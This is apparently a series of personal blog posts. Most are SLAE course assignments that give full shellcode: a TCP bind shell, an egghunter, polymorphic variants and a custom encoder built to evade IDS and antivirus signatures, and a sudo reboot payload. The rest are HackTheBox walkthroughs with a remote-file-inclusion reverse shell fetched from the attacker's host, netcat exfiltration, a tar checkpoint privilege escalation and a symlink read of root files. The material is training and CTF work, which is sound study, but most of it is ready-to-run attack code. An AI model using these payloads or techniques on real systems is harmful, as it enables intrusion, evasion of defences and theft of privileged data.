	pop eax ; syscall for socketcall
	inc ebx ; SYS_ACCEPT = 5
	push edx
	push edx
	push esi
	mov ecx,esp ; finally pointer to arugments stored in ecx
	int 0x80

	
	 

	; redirect standard input , output , error to client sock

	mov ebx,eax ; store returned client socket in ebx. ( client sock in ebx )
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

	redirectIO:
		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO
		
		
	; execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80

Lets compile and generate shellcode from the binary :

 

slae@ubuntu:~/Desktop/SLAE/assignments/assignment1$ ./compile.sh btcp
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
slae@ubuntu:~/Desktop/SLAE/assignments/assignment1$ objdump -d ./btcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5c\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

Finally , we update our template C program :

#include<stdio.h>
#include<string.h>


unsigned char code[] ="\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5c\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
main()
{
	
	
	printf("Shellcode Length:  %d\n", strlen(code));

	
	int (*ret)() = (int(*)())code;

	ret();

}

So lets compile and execute :

$ ./shellcode

on new terminal lets connect :

slae@ubuntu:~$ netcat -nv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
whoami
slae

 

We get our bind shell!

So for now , we have hardcoded our bind port. we need to make it configurable for custom port. For that, we can write a simple python script to accept a custom port and generate final shellcode :

#!/usr/bin/env python3
import sys
import struct
from sys import argv

port = int(argv[1])
print(" Warning : for port num < 1024 please exec as root")

if port > 65535 :
    print("port > 65535 please provide another port")
    exit()

port = struct.pack("!H", port)
port = ("{}".format(''.join('\x{:02x}'.format(b) for b in port)))

if "\x00" in port:
    print(" warning : NULL  byte detected! choose different port and rerun")
    exit()

finalshellcode = """\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68%s\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80""" % (port)

print("shellcode : ",finalshellcode)
./custom.py 4445
 Warning : for port num < 1024 please exec as root
shellcode :  \x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5d\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80

This shellcode has to be replaced with original one from template program and finally run to get it working .

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

 

SLAE student ID :  SLAE – 1367

 

Linux/x86 EggHunter shellcode (SLAE assignment 3)

Hi All! Today we will look at how to solve third assignment, which is  really interesting topic i.e Egghunter shellcode.

Objective :

  1. Study about Egg hunter shellcode.
  2. Create a working demo of Egg hunter shellcode.
  3. Should be configurable for different payloads.

Scenario : Suppose we find  buffer overflow vulnerability on an application and it so happens, we can control the Instruction pointer but we do not have enough reliable contigious space in available buffer to push our shellcode due to limited space . In such a scenario, Where do we push our shellcode and  get it working?

Solution :

Thats when an awesome concept called “EggHunter shellcode.” kicks in.

Egg hunter shellcode is a multi stage shellcode in which, its only task is to search the memory for actual second shellcode (exploit code) , jump to it and finally pass the control to the found second shellcode in the memory.

It reliably search and scan the complete memory for occurrence of a unique “tag” which is part of second stage shellcode.

Many thanks to this awesome research paper by skape on Egghunter :

http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

In this paper, scape explains three methods of implementing an egg hunter . first two involves using access sys call . and the third one involves sigaction syscall.

While an egghunter crawls the memory for known tag it may find one of these issues,

  1. Since we define this tag as part of initialized data section of our exploit program and also since Egghunter shellcode itself contains this tag , Egghunter may recognize its own tag ( since we give the tag for comparision in egg hunter pgm.) and may jump to wrong code.
  2. There may be a chance , when we allocate memory for exploit shellcode dynamically using malloc/calloc ( which gets stored on heap), there are un mapped segments between different mapped memory segments , this results in program termination .(SIGSEGV).

In order to solve first issue, we can make use of repeating tag twice in our final exploit code.

So our second stage shellcode is of format :

tag+tag+shellcode

In Order to solve the second issue, we can use any one of the methods provided by skape, using first and second method which involves access syscall , which returns EFAULT on finding such unmapped memory regions , instead of terminating the program.

Third method involves using sigaction systemcall.  This method is slightly more efficient than the previous methods, as in this , we can validate multiple address at the same time compared to previous methods.  But this method is not robust and may fail on certain circumstances.

In this post we will make use of access(2) revisited method as it seems better than  using sigaction with robustness in mind.

So lets  look at access system call from man page:

 int access(const char *pathname, int mode);

From man page, access is used to check for user’s permission to check the destination file pathname. and mode specifies accessibility check to be performed. So for our scenario , we push the address to be validated starting with in a single page ( 4096 bytes of memory) lowest unit to test , if it returns EFAULT , we increment the page till we reach valid address space. Once we reach valid space , we iterate the page for searching occurance [tag][tag] . If we find this occurrence we jump to shell code directly which succeeds the [tag][tag] occurrence. If we do not find the tag occurrence in an entire page address , we increment to next page.  So lets see how its implemented.

Lets first check the syscall number for access.

~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
#define __NR_access 33

here is the complete assembly code for egg hunter with self comments:

global _start
 
section .text
 
_start:
    ; clear out ebx
    xor ebx,ebx 
        
        

 page_increment:
	; move 4096-1
        or bx, 0xfff
	

 byte_increment:
	
	;increment to next address
        inc ebx
        ; syscall for access(2)    
        push +0x21  
        pop eax

	;call interrupt    
        int 0x80
 
	; check for EFAULT in return
        cmp al, 0xf2

	; if efault then move to next page
        je page_increment 

	; if not we move address stored in ebx to edi
	mov edi,ebx

        ; and we move our egg tag to be checked to eax
        mov eax, 0x50905090

        ; scasd check eax==edi? if yes auto increment edi  
        scasd  

        ;if not move to next byte in same page
        jnz byte_increment

        ;check for second occurance of tag, if yes auto increment edi
        scasd 

        ; if not move to 
        jnz byte_increment

        ; finally jump to final shellcode following consecutive tags 
        jmp edi

We make use of scasd instruction for comparision , as it compares content on eax to edi , if successfull it auto increments edi , we move address in memory to edi and compare with eax which contains our egg tag. We do this twice and finally jump to edi, As it contains our final shellcode.

So lets compile and fetch our shellcode :

./compile.sh egghunter

objdump -d ./egghunter |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

Egg hunter shellcode : 

“\x31\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xf1\x89\xdf\xb8\x90\x50\x90\x50\xaf\x75\xec\xaf\x75\xe9\xff\xe7”

Lets put this in our egghunter template c program :

#include<stdio.h>
#include<string.h>


#define EGG "\x90\x50\x90\x50"

unsigned char egghunter[] ="\x31\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xf1\x89\xdf\xb8\x90\x50\x90\x50\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

// simple spawn a shell shellcode payload
unsigned char code[] = \
EGG EGG
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
	
	printf("Egghunter Length:  %d\n", strlen(egghunter));
	

	//calling egghunter 
	int (*ret)() = (int(*)())egghunter;

	ret();

}

 

 

I have used a simple shell spawn payload to verify this assignment . lets finally compile and execute this program  :

slae:~$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

slae:~$ ./shellcode
Egghunter Length: 32
$

It works! W00tW00t 😀

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

 

SLAE student ID :  SLAE – 1367

linux/x86 polymorphic shellcode (SLAE assignment 6)

Hi All! Today we will take up assignment 6 from SLAE course.

Main objective of this assignment :

Take upto three shellcodes from shell-storm  and create polymorphic equivalent to beat pattern matching . 

Polymorphic shellcode should not be greater than 150% of original shellcode.

Many IDS/ antivirus systems detects normal signature of shellcodes, in order to evade such detection , An attacker can substitute normal instruction with the instructions which has similar functionality. we will look at three different shellcodes which can be made polymorphic in this post .

Shellcode 0x1:

http://shell-storm.org/shellcode/files/shellcode-758.php

original disassembly of text section: 

Shellcode length : 42 bytes

global _start			

section .text
_start:

xor    eax,eax
push   eax
push   0x7461632f
push   0x6e69622f
mov    ebx,esp

push   eax
push   0x776f6461
push   0x68732f2f
push   0x6374652f
mov    ecx,esp

push   eax
push   ecx
push   ebx

mov    ecx,esp
mov    al,0xb
int 0x80

polymorphic disassembly of text section:

Shellcode length : 55 bytes

; polymorphic shellcode for poly1_original
;Shellcode Length:  55
global _start			

section .text
_start:

;clear edx to zero. can be used instead of xor to clear out register
cdq
push   edx

; bypass fingerprint complete string /bin/cat
mov esi,0x8572743f
sub esi,0x11111110
mov dword [esp-4] , esi
sub esp,4

push 0x6e69622f

mov    ebx,esp

push   edx
push   0x776f6461
push   0x68732f2f
push   0x6374652f
mov    ecx,esp

push   edx
push   ecx
push   ebx

mov    ecx,esp
;leverage push to move syscall and clear instead of xor
push 0xb
pop eax
int 0x80

In this first polymorphic shellcode we make use of few new instructions which perform similar functionality to traditional instructions.

First we make use of cdq instruction  for  zeroing edx register instead of XOR which saves us a byte. we also make use of manual pushing of data to stack to evade fingerprinting full string “/bin/cat”. and finally leverage stack calls instead of mov instruction to clear our eax register and move respective system call.

final polymorphic shellcode :

“\x99\x52\xbe\x3f\x74\x72\x85\x81\xee\x10\x11\x11\x11\x89\x74\x24\xfc\x83\xec\x04\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe1\x52\x51\x53\x89\xe1\x6a\x0b\x58\xcd\x80”

Shellcode 0x2 :

next shellcode is a simple bash shell  from shell-storm. It utilizes execve syscall to spawn a shell.

URL : http://shell-storm.org/shellcode/files/shellcode-811.php

Original disassembly of text section:

Shellcode length : 28 bytes

xor    eax,eax
push   eax
;push /bin/sh
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
mov    ecx,eax
mov    edx,eax
mov    al,0xb
int    0x80
xor    eax,eax
;exit call
inc    eax
int    0x80

polymorphic disassembly of text section:

Shellcode length : 23 bytes

;clear eax before use
sub    eax,eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
mov    ecx,eax
;zero out edx
cdq
; use stack to push syscall
push 0xb
pop eax
int    0x80

Here, we can see from the original shellcode, it is utilizing execve sys call , followed by an exit call which is not needed , as execve if successful, does not return status and overwrites parent calling process text ,data and bss area.  we have replaced xor with sub to clear out eax register. and CDQ instruction which clears out edx by extending sign bit from eax(which is already cleared out). resulting shellcode is 5 bytes smaller than the original one 🙂

final polymorphic shellcode :

“\x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80”

 

Shellcode 0x3:

This short shellcode kills all running process on a x86 system. it makes use of sys_kill syscall .

URL : http://shell-storm.org/shellcode/files/shellcode-626.php

Original disassembly of text section:

Shellcode length : 11 bytes

;original code from : http://shell-storm.org/shellcode/files/shellcode-626.php
xor    eax,eax
mov    al,0x25
push   0xffffffff
pop    ebx
mov    cl,0x09
int    0x80

polymorphic disassembly of text section:

Shellcode length : 11 bytes

;11 bytes
;use stack to clear out and push sys_kill syscall
push 0x25
pop eax
;push -1 directly 
push byte -1
pop ebx
push 0x9
pop ecx
int 0x80

In this polymorphic shellcode we completely rely on stack operations to move data into registers.

final polymorphic shellcode :

“\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80”

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

 

SLAE student ID :  SLAE – 1367

linux/x86 – Custom Encoder

Hi All!  After a long gap due to health issues , i started working on assignments of SLAE course by securitytube (https://www.pentesteracademy.com/course?id=3).  I jumped onto Assignment 4 directly as i felt this can be fun and can be taken up initially with what we have learnt from the course videos. main objective of this assignment is ,

creation of custom encoder which helps us to evade known signatures by antivirus/IDS system.

my custom encoder uses this simple algorithm.

                         1 . Perform NOT operation on individual shellcode byte. 

                         2. Increment each shellcode byte by 2 in hex.

                         3.  perform XOR operation on each shellcode byte with 0x21

                         4. finally again perform NOT operation on resulting   individual                                          shellcode byte.

This can be accomplished by using a simple python script . (custom_encoder.py). we will use an existing execve shellcode to spawn a shell.

#!/usr/bin/python

# Python custom Encoder

shellcode = (“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80”)

encoded = “”
encoded2 = “”

print ‘Encoded shellcode …’

for x in bytearray(shellcode) :

  #NOT Encoding
  x2 = ~x

  #increment by 2
  x2 = x2 + 0x02

 # XOR Encoding
  xord = x2^0x21

  #NOT operation
  final = ~xord

  encoded += ‘\\x’
  encoded += ‘%02x’ % (final & 0xff)

  encoded2 += ‘0x’
  encoded2 += ‘%02x,’ % (final & 0xff)

print encoded

print encoded2

print ‘Len: %d’ % len(bytearray(shellcode))

now we can generate the encoded shellcode as follows :

slae@ubuntu:~$ ./custom_encoder.py

Encoded shellcode …
\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f

0x0e,0x9f,0x6f,0x47,0x0c,0x0c,0x50,0x47,0x47,0x0c,0x41,0x46,0x4d,0xa6,0xc0,0x6f,0xa6,0xc1,0x70,0xa6,0xfe,0x8f,0x28,0xea,0x5f,
Len: 25

now we need to build a decoder which performs exact same operation as encoder in reverse order.

that is,

custom decoder algorithm,

                         1 . Perform NOT operation on individual shellcode byte. 

                         2. perform XOR operation on each shellcode byte with 0x21

                         3.  Decrement each shellcode byte by 2 in hex.

                         4. finally again perform NOT operation on resulting   individual                                          shellcode byte.

once the decoding is done for each shellcode byte, we can finally jump to the final shellcode. And also we leverage Jump-Call-Pop technique to implement this decoder. Here we have the final decoder ( custom_decoder.nasm)

 

global _start

section .text
_start:

jmp short call_decoder
decoder:
pop esi

decode:
cmp byte [esi], 0x21
jz Shellcode

;in reverse of encoding NOT > XOR > decrementx2 > NOT
not byte [esi]

xor byte [esi],0x21

dec byte [esi]
dec byte [esi]

not byte [esi]

inc esi
jmp short decode

call_decoder:
call decoder
Shellcode: db                             0x0e,0x9f,0x6f,0x47,0x0c,0x0c,0x50,0x47,0x47,0x0c,0x41,0x46,0x4d,0xa6,0xc0,0x6f,0xa6,0xc1,0x70,0xa6,0xfe,0x8f,0x28,0xea,0x5f,0x21

In this decoder , we first compare our shellcode with exit marker ( 0x21) if all bytes of shellcode are decoded we directly jump to the shellcode. If not , we decode each byte of shellcode. Now finally we can compile and get the shellcode as follows.

./compile.sh custom_decoder

objdump -d ./custom_decoder | grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

final shellcode : 

“\xeb\x14\x5e\x80\x3e\x21\x74\x13\xf6\x16\x80\x36\x21\xfe\x0e\xfe\x0e\xf6\x16\x46\xeb\xed\xe8\xe7\xff\xff\xff\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f\x21”

 

we can now place this shellcode in our template c program,

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
“\xeb\x14\x5e\x80\x3e\x21\x74\x13\xf6\x16\x80\x36\x21\xfe\x0e\xfe\x0e\xf6\x16\x46\xeb\xed\xe8\xe7\xff\xff\xff\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f\x21”;

main()
{

printf(“Shellcode Length: %d\n”, strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

We compile and execute this program to get the expected shell.

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

slae@ubuntu:~/$ ./shellcode
Shellcode Length: 53

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments/tree/master/Assignment4

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

 

SLAE student ID :  SLAE – 1367

shellcode 1 : Linux/x86 – sudo systemctl start reboot.target

I recently started working on writing 32 bit  shellcodes for linux  . And I will be posting sample shellcodes i created for practicing over here in this blog. This is one of many shellcodes that i have written. This shell code utilizes systemd init system to reboot a system . lets jump in . you need to know how syscalls are called and a basic assembly-fu to understand this piece of code. code is self explanatory with comments.

systmctl_reboot.nasm

———————————————————————————————–

section .text
_start:

; clear out registers before use
xor eax, eax
xor edx,edx

; PUSH /usr////bin/sudo
push eax
push 0x6f647573
push 0x2f6e6962
push 0x2f2f2f2f
push 0x7273752f

; execve first argument
mov ebx, esp

; PUSH /bin///systemctl
push eax
push 0x6c74636d
push 0x65747379
push 0x732f2f2f
push 0x6e69622f
mov ecx,esp

; PUSH reboot.target
push eax
push byte 0x74
push 0x65677261
push 0x742e746f
push 0x6f626572
mov esi,esp

; PUSH start
push eax
push byte 0x74
push 0x72617473
mov edi,esp

; execve second argument
push eax
push esi
push edi
push ecx
push ebx
mov ecx,esp

; execve third argument
push eax
mov edx, esp

; mov 11 to eax (syscall for execve)
mov al, 11
; Call the interupt
int 0x80


assembling : nasm   -f   elf32  -o  systmctl_reboot.o  systmctl_reboot.nasm

linking : ld -z execstack -o systmctl_reboot   systmctl_reboot.o

finally we can get the final machine code with the help of objdump,

objdump -d ./systmctl_reboot  -M intel

final shellcode :

\x31\xc0\x31\xd2\x50\x68\x73\x75\x64\x6f\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x68\x2f\x75\x73\x72\x89\xe3\x50\x68\x6d\x63\x74\x6c\x68\x79\x73\x74\x65\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe1\x50\x6a\x74\x68\x61\x72\x67\x65\x68\x6f\x74\x2e\x74\x68\x72\x65\x62\x6f\x89\xe6\x50\x6a\x74\x68\x73\x74\x61\x72\x89\xe7\x50\x56\x57\x51\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80

this can be used inside our template c program to trigger this shellcode.


#include<stdio.h>
#include<string.h>

unsigned char code[] = \
“\x31\xc0\x31\xd2\x50\x68\x73\x75\x64\x6f\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x68\x2f\x75\x73\x72\x89\xe3\x50\x68\x6d\x63\x74\x6c\x68\x79\x73\x74\x65\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe1\x50\x6a\x74\x68\x61\x72\x67\x65\x68\x6f\x74\x2e\x74\x68\x72\x65\x62\x6f\x89\xe6\x50\x6a\x74\x68\x73\x74\x61\x72\x89\xe7\x50\x56\x57\x51\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80”;

main()
{

printf(“Shellcode Length: %d\n”, strlen(code));

int (*ret)() = (int(*)())code;

ret();

}


compile with no stack protection and exec stack flags.

gcc -fno-stack-protector -z execstack -o shellcode shellcode.c

./shellcode

This should trigger a system restart if nopasswd has been set to execute sudo commands.

 

HackTheBox – Tartarsauce Writeup

This box was really a fun one. because its a proper CTF box with lots of red hearings. so lets begin with nmap scan.

root@kali:~# nmap -sC -sV 10.10.10.88 -T4
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-09 23:57 IST
Nmap scan report for 10.10.10.88
Host is up (0.24s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Landing Page

we have port 80 open which is a good option for starting enumeration. we find quite a lot of good info for enumeration . it was found after a painful amount of time enumerating monstra 3.0.4 service with default credentials , and then to find out it was a rabbit hole!

We move our enumeration onto the webservices sub site with gobuster.

go run main.go -u http://10.10.10.88/webservices -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20

we find an interesting finding :

wordpress hosted at : http://10.10.10.88/webservices/wp/

we quickly enumerate more on wordpress site using wpscan along with enumerate plugin option.

wpscan -u http://10.10.10.88/webservices/wp/ –enumerate p

from initial results , it was found not to be vulnerable to any LFI, RFI or remote shell. Another quick red hearing! , author has forged the version of the plugin “gwolle-gb – v2.3.10″ even though it is of lower version which is vulnerable to ,

https://www.exploit-db.com/exploits/38861/

to trick the wordpress scanner.

using this exploit, we create and host a php reverse shell from pentest monkey on our attacker box and use the RFI bug to execute this exploit like this:

http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.13:8000/prs

problem here is with the application not restricting inclusion of a remote script in this case, its our reverse shell from our attacker box.

anddd we have our netcat listener catch a shell :

root@kali:~# nc -nlvp 443
listening on [any] 443 …
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.88] 38966
Linux TartarSauce 4.15.0-041500-generic #201802011154 SMP Thu Feb 1 12:05:23 UTC 2018 i686 athlon i686 GNU/Linux
13:14:44 up 13:19, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can’t access tty; job control turned off
$ whoami
www-data

 

but still we are not even a proper user on this box to read user flag.

we enumerate more , to find some unusual priv esc loophole :

www-data@TartarSauce:/home$ sudo -l

User www-data may run the following commands on TartarSauce:
(onuma) NOPASSWD: /bin/tar

so we can run tar binary as onuma user. we can priv esc to onuma user using the tar command as follows :

sudo -u onuma tar cf /dev/null /tmp/exploit –checkpoint=1 –checkpoint-action=exec=/bin/bash

tar: /tmp/exploit: Cannot stat: No such file or directory
onuma@TartarSauce:/tmp$

anddd we are onuma user. quickly grab the flag and buckle up. because real fun starts now!

we run our basic enumeration on the box. for possible priv esc vectors.

we find a systemd timer thats interesting :

[-] Systemd timers:
NEXT LEFT LAST PASSED UNIT ACTIVATES

Thu 2018-09-13 02:27:36 EDT 3min 14s left Thu 2018-09-13 02:22:36 EDT 1min 45s ago backuperer.timer backuperer.service

we have a custom systemd service file named backuper.service which runs for every 5 mins.

from the content of the service file it is found out it further invokes a binary named “backuperer

onuma@TartarSauce:~$ cat /lib/systemd/system/backuperer.service

[Unit]
Description=Backuperer

[Service]
ExecStart=/usr/sbin/backuperer

running the binary, which in turn points to /var/backups where backups are created.

we find few interesting files under this,

-rw-r–r– 1 onuma onuma 11511663 Sep 13 02:42 onuma-www-dev.bak
-rw-r–r– 1 root root 15693 Mar 9 2018 onuma_backup_error.txt
-rw-r–r– 1 root root 219 Sep 13 02:42 onuma_backup_test.txt

we can understand that this backuperer binary is backing up website every five minutes. and after a quick check with onuma_backup_error.txt,

we find out that it prints out a difference of the file if the integrity check fails(we will come back to this soon).  example difference is shown below.

Integrity Check Error in backup last ran : Fri Mar 9 13:12:49 EST 2018
————————————————————————
/var/tmp/.ad6461410d5752be98ad3f884a48cd3f95f930a0
Only in /var/www/html/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha: ȜӎŗgͷͼȜ_5h377

lets get the binary to our attacker box for further analysis . we use netcat for file transfer from remote system as follows.

on attacker box :   nc -nlvp 1234 > backuper

on victim box :    nc -w 3 -nv 10.10.14.5 1234 < /usr/sbin/backuperer
Connection to 10.10.14.5 1234 port [tcp/*] succeeded!

running strings command on the binary reveals the source code of the binary , which is a plain bash file.

root@kali:~# strings backuper
#!/bin/bash
#————————————————————————————-
# backuperer ver 1.0.2 – by
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#————————————————————————————-
# Set Vars Here
basedir=/var/www/html #not writable
bkpdir=/var/backups #not writable
tmpdir=/var/tmp # this is writable and interesting
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d’ ‘ -f1)
check=$tmpdir/check

/* snipped */

# Backup onuma website dev files.

/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
/usr/bin/diff -r $basedir $check$basedir

#/usr/bin/diff -r /var/www/html /var/tmp/check/var/www/html
/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
# Report errors so the dev can investigate the issue.
/usr/bin/printf $”$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n” >> $errormsg
integrity_chk >> $errormsg
exit 2
/* snipped */

 

highlighted part is of our  interest, as the binary takes the backup of the web directory and stores it in  a temp directory and goes to sleep for 30 seconds. after 30 seconds , it calls for integrity_check function which checks for the difference in any of the files content between current web directory and the temporary backed up directory. if difference is found it prints the difference in the content to error file which was previously shown.

We can use this to steal content of privileged files owned by root as diff command follows symbolic link, we get content of files such as shadow file and what not! but we will steal root flag since its the file of our interest.

so lets begin! we have to remember if we fail to change content of the file in 30 seconds when the binary is called , we have to wait another 5 mins to re execute our strategy.

first, create a  test file as www-user and write junk values or random values into it,

touch /var/www/html/test.txt

echo “abc” > test.txt

Next,  once backup starts , we have 30 seconds to remove the old file and add new one with symbolic link to /root/root.txt

so in 30 seconds window,

ln -s  /root/root.txt   /var/www/html/test.txt

now if we go back to the /var/backups and view the onuma_backup_error.txt file! we can see our root flag !

cat /var/backups/onuma_backup_error.txt 

————————————————————————
Integrity Check Error in backup last ran : Thu Sep 13 08:43:32 EDT 2018
————————————————————————
/var/tmp/.1fb6cf3c3d4b97fb3bf095b660d6da6d2ee309f1
diff -r /var/www/html/test.txt /var/tmp/check/var/www/html/test.txt
1c1
< <contents of root flag>> #THIS IS ROOT FLAG 😀

> abc

we got the root flag Woot Woot 🙂 hope you enjoyed this walkthrough . stay tuned for the next write up .   shubha dina! 🙂

HackTheBox – Sunday Writeup

Hi All, Today we are going to solve  ‘Sunday’ machine from hackthebox. This was one of the easiest boxes on HTB. Lets begin with nmap scan.

nmap -p- 10.10.10.76

<<snipped>>

PORT                   STATE         SERVICE
79/tcp                 open             finger

22022                 open              SSH

<<snipped>>

This was the most frustrating part, as the services on this box were unstable and unresponsive.

so, we can use finger  service to enumerate users on the box.

we can use a custom wordlist and finally make use of this enum script by pentest monkey :

http://pentestmonkey.net/tools/user-enumeration/finger-user-enum

we find that a user named sunny exists on the remote machine. through the list.

root@kali:~# finger sunny@10.10.10.76
Login Name   TTY     Idle         When                        Where
